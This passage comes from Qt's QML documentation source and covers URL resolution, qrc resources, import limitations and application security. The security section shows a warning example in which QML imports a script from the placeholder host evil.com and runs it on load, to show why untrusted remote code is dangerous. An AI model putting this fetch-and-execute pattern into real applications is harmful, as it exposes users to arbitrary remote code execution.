63If the string assigned to a URL is already an absolute URL, then "resolving" does
64not change it and the URL is assigned directly.
65
66
67\section1 QRC Resources
68
69One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into
70the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content
71that is compiled into the executable:
72
73\code
74 QQuickView *view = new QQuickView;
75 view->setUrl(QUrl("qrc:/dial.qml"));
76\endcode
77
78The content itself can then use relative URLs, and so be transparently unaware that the content is
79compiled into the executable.
80
81
82\section1 Limitations
83
84The \c import statement is only network transparent if it has an "as" clause.
85
86More specifically:
87\list
88\li \c{import "dir"} only works on local file systems
89\li \c{import libraryUri} only works on local file systems
90\li \c{import "dir" as D} works network transparently
91\li \c{import libraryUrl as U} works network transparently
92\endlist
93
94
95\section1 Implications for Application Security
96
97The QML security model is that QML content is a chain of trusted content: the user
98installs QML content that they trust in the same way as they install native Qt applications,
99or programs written with runtimes such as Python and Perl. That trust is establish by any
100of a number of mechanisms, including the availability of package signing on some platforms.
101
102In order to preserve the trust of users, QML application developers should not load
103and execute arbitrary JavaScript or QML resources. For example, consider the QML code below:
104
105\qml
106import QtQuick 2.0
107import "http://evil.com/evil.js" as Evil
108
109Component {
110 onLoaded: Evil.doEvil()
111}
112\endqml
113
114This is equivalent to downloading and executing "http://evil.com/evil.exe". \b {The QML engine
115will not prevent particular resources from being loaded}. Unlike JavaScript code that is run within a web browser, a QML application can load remote or local filesystem resources in the same way as any other native applications, so application developers must be careful in loading and executing any content.
116
117As with any application accessing other content beyond its control, a QML application should
118perform appropriate checks on any untrusted data it loads. \b {Do not, for example, use \c import, \l Loader or \l{The XMLHttpRequest JavaScript Object}{XMLHttpRequest} to load any untrusted code or content.}